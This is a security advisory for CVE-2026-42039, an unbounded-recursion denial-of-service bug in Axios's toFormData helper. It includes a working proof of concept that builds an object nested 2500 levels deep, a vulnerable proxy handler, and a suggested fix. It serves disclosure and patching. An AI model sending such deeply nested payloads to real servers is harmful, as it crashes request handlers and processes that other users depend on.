CVE-2026-42039: Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

### Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. ### Details lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack. `toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth. The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process. ### PoC ```js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data'; function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; } try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded ``` Server-side reachability example: ```js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes ``` Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500. ### Impact A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.